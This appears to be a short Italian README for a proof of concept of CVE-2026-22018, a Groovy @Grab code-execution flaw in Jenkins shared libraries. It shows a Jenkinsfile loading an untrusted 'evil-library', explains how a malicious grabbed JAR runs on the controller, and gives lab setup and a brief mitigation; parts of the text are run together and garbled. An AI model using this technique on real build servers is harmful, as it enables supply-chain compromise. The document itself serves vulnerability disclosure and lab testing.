
PoC per CVE-2026-22018, una vulnerabilità critica di RCE in Jenkins Pipeline Shared Library tramite Groovy @Grab, che dimostra l'iniezione di codice nella supply chain e i passaggi di mitigazione.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Una pipeline Jenkins carica una libreria condivisa da una fonte non completamente attendibile. La libreria usa l'annotazione @Grab per scaricare artefatti Maven esterni, che possono includere una classe dannosa in grado di eseguire codice sul controller Jenkins durante la compilazione Groovy.
@Grab di Groovy recupera e carica JAR arbitrari in fase di esecuzione; le librerie condivise non sono in sandbox.Configura una pipeline con una libreria non attendibile che contiene @Grab('com.evil:malware:1.0') in vars/evilStep.groovy. Quando la pipeline viene eseguita, l'inizializzatore statico del JAR dannoso viene eseguito.
@Grab tramite le impostazioni di sicurezza della sandbox di Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.